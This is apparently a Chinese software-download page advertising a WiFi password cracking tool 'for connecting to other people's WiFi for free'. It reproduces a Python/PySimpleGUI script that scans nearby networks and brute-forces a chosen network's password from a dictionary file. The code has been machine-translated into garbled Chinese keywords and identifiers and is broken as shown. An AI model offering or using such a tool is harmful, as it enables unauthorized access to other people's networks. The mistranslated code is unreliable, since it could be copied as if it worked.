wifi密码强制破解软件能帮助用户强行破解WiFi,从而快速获取其真实密码,可使用密码字典的形式来进行操作,提升密码获取的效率,软件整体使用非常简单,只需选择对应的无线即可进行操作,用户可导入不同类型的字典进行快捷破解,想要免费连接别人无线的用户快来试试吧。
软件功能
这两天在家无聊,想写点小工具玩玩,于是看了一下PySimpleGUI,写了一个暴力破解无线局域网(无线保真的缩写)的软件
这是练习作品,不要指望它真能破解邻居的无线局域网(无线保真的缩写)密码
密码字典是网上随便下载的,破解的无线局域网(无线保真的缩写)也是我家的WIFI,再次重申,这只是练习作品!
软件代码
将PySimpleGUI作为医务主任导入
导入pywifi
从pywifi导入常量
导入时间,os.path
# 设置全局默认设置
sg.set_options(font=('微软雅黑' 10))
# 定义用户界面布局
布局=[[sg .文本(' 2。选择破解的无线局域网(无线保真的缩写)名称:')],
【sg .Combo(values=[],key='-WIFI名称-'大小=(40,无)),sg .按钮(' 1。查找WIFI 'key='-扫描WIFI-')],
【sg .文本(' 3。选择密码字典文件:')],
【sg .InputText(key='-KEY LIST-'),sg .文件浏览('选择文件,target='-KEY LIST-'key='-FILE CHOOSE-')],
【sg .按钮(' 4。执行检查,key='-CHECK-'),sg .按钮(' 5。开始破解,key='-START-'auto_size_button=False,disabled=True)],
【sg .Output(key='-OUTPUT-'size=(54,20))]]
# 创建窗户
窗口=sg .窗口(\"窗口标题\",布局)
# 创建网卡
wifi=pywifi .PyWiFi()
ifaces=wifi.interfaces()
iface=无
如果len(国际会计师联合会)为0:
iface=iface[0]
极好的扫描_wifi():
'''扫描附近的''无线网络'''
打印('开始扫描WIFI,请稍候……')
iface.scan()
时间。睡眠(2)
结果=[]
对于iface.scan_results()中的res:
如果len(res.ssid) 0和资源ssid不在结果中:
结果.追加(资源ssid)
窗口['-WIFI名称-']。更新(值=结果)
打印('扫描完毕)
定义检查():
'''检查破解前的准备工作是否完备'''
如果iface为无:
打印('你的计算机没有网卡,请退出!')
窗口['-开始-']。更新(禁用=真)
返回
否则:
打印('计算机网卡已选定:' iface.name())
无线局域网(wireless fidelity的缩写)名称=值['-WIFI名称-']
如果(妻子名为无)或(len(wifiname)==0):
打印(' WIFI名称不能为空)
返回
否则:
打印(' WIFI名称:'妻子姓名)
keylist=values['-KEY LIST-']
如果(键列表为无)或(len(keylist)==0):
打印('密码字典路径不能为空)
否则:
如果os.path.exists(键列表)和os.path.isfile(密钥列表):
打印('密码字典路径:'键列表)
窗口['-开始-']。更新(禁用=假)
否则:
打印('密码字典路径不正确)
定义wifi_connect(接口、wifi名称、密码):
'''
尝试进行无线局域网(无线保真的缩写)连接
:参数接口:网卡对象
:param WiFi名称:WiFi名称
:参数密码:WiFi密码
:返回:真或假,连接成功或者失败
'''
if interface.status()!=常量IFACE_DISCONNECTED:
interface.disconnect() #断开连接
时间。睡眠(0.5)
profile=pywifi .个人资料()#创建无线局域网(无线保真的缩写)连接文件
profile.ssid=wifiname # WiFi的ssid,即无线局域网(无线保真的缩写)的名称
profile.key=密码# WiFi密码
profile.auth=const .AUTH_ALG_OPEN #开放网卡
追加(常量.AKM_TYPE_WPA2PSK) # WiFi的加密类型,现在一般的无线局域网(无线保真的缩写)都是wpa2psk
profile.cipher=常量.密码类型CCMP #加密单元
界面。remove _ all _ net _ profiles()#清空轮廓列表
界面。添加网络配置文件(配置文件)#添加轮廓
接口.连接(配置文件)#连接无线局域网(无线保真的缩写)
时间。睡眠(1)
if interface.status()==const .IFACE_CONNECTED:
返回真实的
返回错误的
定义破解(wifiname,keylist):
'''
使用密码字典的方式暴力破解无线局域网(无线保真的缩写)密码
:param WiFi名称:WiFi名称
:参数键列表:密码字典
:返回:破解出的密码
'''
带open(键列表,' r '编码='utf-8 ')作为女:
对于f.readlines()中的键:
key=key.strip()
打印('正在尝试密码:'键)
isok=wifi_connect(iface,wifiname,key)
如果isok:
打印('连接成功!WiFi:“WiFi名称\"密码:'键)
回车键
否则:
打印('连接失败,密码错误)
# 事件处理循环
虽然正确:
# 调用阅读()显示窗口,等待用户交互
event,values=window.read()
# 以下就是事件处理的逻辑
# 如果用户点击关闭窗口,就退出
如果事件==sg .窗口_关闭:
破裂
# 扫描无线局域网(无线保真的缩写)
elif事件=='-扫描WIFI-'
scan_wifi()
# 执行检查
elif event=='-CHECK-'
检查()
# 开始破解
elif event=='-START-'
打印('开始破解)
破解(值['-WIFI名称-'],值['-密钥列表-'])
# 关闭窗户
window.close()
上面给大家详细的介绍了wifi密码破解工具 ,以上内容仅2u手游网小编个人理解,最后希望大家喜欢!